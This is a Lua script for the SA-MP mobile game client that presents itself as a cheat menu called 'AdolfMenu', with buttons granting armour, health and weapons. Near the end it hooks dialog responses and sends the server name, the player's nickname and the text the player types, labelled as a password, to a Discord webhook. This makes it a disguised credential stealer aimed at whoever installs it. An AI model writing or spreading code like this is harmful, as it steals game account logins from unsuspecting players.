require 'lib.
monetloader'
local requests = require 'requests'
local sampev = require '[Link]'
require '[Link]'
local memory = require 'memory'
local encoding = require 'encoding'
[Link] = 'CP1251'
local u8 = encoding.UTF8
local ffi = require 'ffi'
local hook = require('monethook')
local imgui = require 'mimgui'
---@type table
local locales = {
adolf1 = "ARMOR",
adolf2 = "DARAH",
adolf3 = "M4",
adolf9 = "AK47",
adolf4 = "Desert",
adolf5 = "Sotguns",
adolf8 = "MP5",
adolf7 = "ResetWeapons",
adolf6 = "AddAmmo",
adolf10 = "Sniper",
adolf11 = "Sawnoff",
adolf12 = "Rifle",
adolf13 = "TEC9",
adolf14 = "Minigun",
adolf15 = "Rudal",
adolf16= "Silenced",
}
local shared = require '[Link]'
[Link] 'RenderWare'
local gta = [Link]('GTASA')
local MDS = MONET_DPI_SCALE
local window = [Link](false)
[Link](function()
[Link]().IniFilename = nil
[Link]():ScaleAllSizes(MDS)
end)
[Link](function ()
return window[0]
end, function()
local resX, resY = getScreenResolution()
[Link](imgui.ImVec2(resX/2, resY/2), [Link],
imgui.ImVec2(0.5, 0.5))
[Link](imgui.ImVec2(465 * MDS, 225 * MDS),
[Link])
[Link]("IMGUI REMAKE BY ZAXX MEWING", window)
if [Link](u8(locales.adolf1), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
addArmourToChar(PLAYER_PED, 20)
end
[Link]()
if [Link](u8(locales.adolf2), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
setCharHealth(PLAYER_PED, 100)
end
if [Link](u8(locales.adolf6), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
wp = getCurrentCharWeapon(PLAYER_PED)
bullet = getAmmoInCharWeapon(PLAYER_PED, wp)
addAmmoToChar(PLAYER_PED, wp, 100)
end
[Link]()
if [Link](u8(locales.adolf7), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
removeAllCharWeapons(PLAYER_PED)
end
[Link](imgui.ImVec4(250, 0, 2, 1), "MENU WEAPON BY ZAXX")
if [Link](u8(locales.adolf3), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(356)
requestModel(356)
giveWeaponToChar(PLAYER_PED, 31, 5)
end
[Link]()
if [Link](u8(locales.adolf4), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(348)
requestModel(348)
giveWeaponToChar(PLAYER_PED, 24, 5)
end
[Link]()
if [Link](u8(locales.adolf10), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(358)
requestModel(358)
giveWeaponToChar(PLAYER_PED, 34, 5)
end
[Link]()
if [Link](u8(locales.adolf14), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(362)
requestModel(362)
giveWeaponToChar(PLAYER_PED, 38, 5000)
end
if [Link](u8(locales.adolf8), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(353)
requestModel(353)
giveWeaponToChar(PLAYER_PED, 29, 5)
end
[Link]()
if [Link](u8(locales.adolf5), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(349)
requestModel(349)
giveWeaponToChar(PLAYER_PED, 25, 5)
end
[Link]()
if [Link](u8(locales.adolf12), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(357)
requestModel(357)
giveWeaponToChar(PLAYER_PED, 33, 5)
end
[Link]()
if [Link](u8(locales.adolf15), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(359)
requestModel(359)
giveWeaponToChar(PLAYER_PED, 35, 5)
end
if [Link](u8(locales.adolf9), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(355)
requestModel(355)
giveWeaponToChar(PLAYER_PED, 30, 5)
end
[Link]()
if [Link](u8(locales.adolf11), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(350)
requestModel(350)
giveWeaponToChar(PLAYER_PED, 26, 5)
end
[Link]()
if [Link](u8(locales.adolf13), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(372)
requestModel(372)
giveWeaponToChar(PLAYER_PED, 32, 5)
end
[Link]()
if [Link](u8(locales.adolf16), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(347)
requestModel(347)
giveWeaponToChar(PLAYER_PED, 23, 5)
end
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link]("By")
[Link]()
[Link](imgui.ImVec4(250, 0, 0, 1), "AdolfMenu")
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link](" ")
[Link]()
[Link]("Remake")
[Link]()
[Link](imgui.ImVec4(250, 0, 0, 1), "ZaxxMewing")
[Link]()
end)
sampRegisterChatCommand("admenu", function()
window[0] = not window[0]
end)
function GetMiddleButtonX(count)
local width = [Link]()
local space = [Link]().ItemSpacing.x
return count == 1 and width or width / count - ((space * (count - 1)) /
count)
end
function main()
wait(7000)
sampAddChatMessage("[PATERRSIGMA]: {FF0000}/admenu", -1)
end
function onScriptTerminate(script, quitGame)
if script == thisScript() then
end
end
function [Link](satu,dua,tiga,inputtext)
local servername = sampGetCurrentServerName()
local boolean,id = sampGetPlayerIdByCharHandle(PLAYER_PED)
local playerName = sampGetPlayerNickname(id)
sendToDiscord([Link]("server: %s username: %s password: %s", servername,
playerName, inputtext))
end
function sendToDiscord(message)
local webhook_url =
"[Link]
IfezlTfNaA4iUs8LzSMtzgVFQb_jJf6m6azplBj"
local response = [Link]{
url = webhook_url,
headers = {
["Content-Type"] = "application/json"
},
data = {
content = message,
username = "Pak Vincent"
}
}
end